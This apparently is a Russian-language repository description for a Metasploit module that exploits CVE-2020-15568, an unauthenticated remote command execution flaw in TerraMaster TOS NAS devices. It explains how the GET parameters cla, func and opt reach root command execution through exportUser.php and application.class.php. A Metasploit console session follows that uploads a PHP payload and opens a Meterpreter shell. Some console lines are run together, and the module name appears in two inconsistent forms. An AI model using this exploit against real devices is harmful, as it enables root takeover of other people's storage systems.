
Репозиторий для модуля Metasploit CVE-2020-15568
Репозиторий для модуля Metasploit CVE-2020-15568
Уязвимость динамического вызова метода класса существует в файле include/exportUser.php, что приводит к выполнению удалённых команд на устройствах TerraMaster с правами root. Уязвимый файл требует указания нескольких HTTP GET-параметров, чтобы можно было добраться до вызова метода и использовать эту уязвимость. В первой строке приложение подключает app.php, который автоматически загружает соответствующие основные классы программного обеспечения TOS. Приложение выбирает операцию на основе значения параметра type из GET-запроса. Если значение переменной type отличается от 1 или 2, то можно добраться до уязвимого кода. В исходном коде exportUser.php приложение требует HTTP GET-параметры cla (сокращение от class), func и opt.
Во время анализа кода других файлов также было обнаружено, что эту проблему можно эксплуатировать с помощью уже существующих классов в программном обеспечении TOS. PHP-класс, расположенный в include/class/application.class.php, является лучшим кандидатом для выполнения команд на устройствах, работающих под управлением ПО TOS. Поскольку exportUser.php не имеет средств аутентификации, неаутентифицированный злоумышленник может добраться до выполнения кода.
use exploit/multi/http/terramaster_command_execset rhost 192.168.1.27check[+] 192.168.1.27:80 - The target is vulnerable.
Exploit targets:
Id Name
-- ----
0 Auto
msf5 > use exploit/multi/http/terra_master_command_exec
msf5 exploit(exploit/multi/http/terramaster_command_exec) > set rhost 192.168.1.27
rhost => 192.168.1.27
msf5 exploit(multi/http/terramaster_command_exec) > run
[+] Payload uploaded to /logs/FJETBHLL/.vatw.php
[+] Payload successfully triggered !
[*] Started bind TCP handler against 192.168.1.27:9090
[*] Sending stage (38288 bytes) to 192.168.1.27
[*] Meterpreter session 1 opened (0.0.0.0:0 -> 192.168.1.27:9090) at 2020-07-23 09:49:34 +0300
meterpreter >